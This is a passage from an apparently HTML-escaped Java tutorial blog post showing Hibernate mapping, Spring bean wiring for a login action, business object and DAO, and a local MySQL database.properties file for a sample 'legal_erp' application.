&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;column&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;user_screen_name&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: #7f007f;&quot;&gt;length&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;150&quot;&lt;/span&gt;&lt;/i&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;not-null&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;true&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: teal;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;property&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;property&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;userPassword&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: #7f007f;&quot;&gt;type&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;java.lang.String&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;column&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;user_password&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: #7f007f;&quot;&gt;length&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;25&quot;&lt;/span&gt;&lt;/i&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;not-null&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;true&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: teal;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;property&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;hibernate-mapping&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Hibernate In the above file user_id, user_password and user_screen_name are the fields that we have in our database and now mapping here with the userId, userPassword and userScreenName in our UpUser.java file.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Here we are going to discuss main Spring file that will manage almost all the interaction between UI and Data layer.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
This file need to be placed at: &lt;b&gt;resources/com/test/lab/spring/UpUserBean.xml&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;xml&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;version&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;1.0&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: #7f007f;&quot;&gt;encoding&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;UTF-8&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;beans&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;xmlns&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;http://www.springframework.org/schema/beans&quot;&lt;/span&gt;&lt;/i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: #7f007f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;xmlns:xsi&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;=&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: #7f007f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;xsi:schemaLocation&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;=&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;http://www.springframework.org/schema/beans
  &lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;i&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;http://www.springframework.org/schema/beans/spring-beans-2.5.xsd&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;bean&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;id&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;loginAction&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: #7f007f;&quot;&gt;class&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;com.test.lab.actions.LoginAction&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;property&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;userBo&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: #7f007f;&quot;&gt;ref&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;userBo&quot;&lt;/span&gt;&lt;/i&gt; &lt;span style=&quot;color: teal;&quot;&gt;/&amp;gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;bean&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;bean&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;id&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;userBo&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: #7f007f;&quot;&gt;class&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;com.test.lab.bo.impl.UserBoImpl&quot;&lt;/span&gt;&lt;/i&gt; &lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;property&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;userDAO&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: #7f007f;&quot;&gt;ref&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;userDAO&quot;&lt;/span&gt;&lt;/i&gt; &lt;span style=&quot;color: teal;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;bean&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;bean&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;id&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;userDAO&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: #7f007f;&quot;&gt;class&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;com.test.lab.dao.impl.UserDAOImpl&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;property&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;sessionFactory&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: #7f007f;&quot;&gt;ref&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;sessionFactory&quot;&lt;/span&gt;&lt;/i&gt; &lt;span style=&quot;color: teal;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;bean&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;beans&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 6.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Few more configuration:&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;resources/config/database/properties/database.properties&lt;/b&gt;&lt;/div&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;jdbc.driverClassName=&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;com.mysql.jdbc.Driver&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;jdbc.url=&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;jdbc&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;mysql://&lt;u&gt;localhost&lt;/u&gt;:3306/legal_erp&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;jdbc.username=&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;root&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;jdbc.password=&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;root&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 6.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;resource/config/spring/DataSource.xml&lt;/b&gt;&lt;/div&gt;
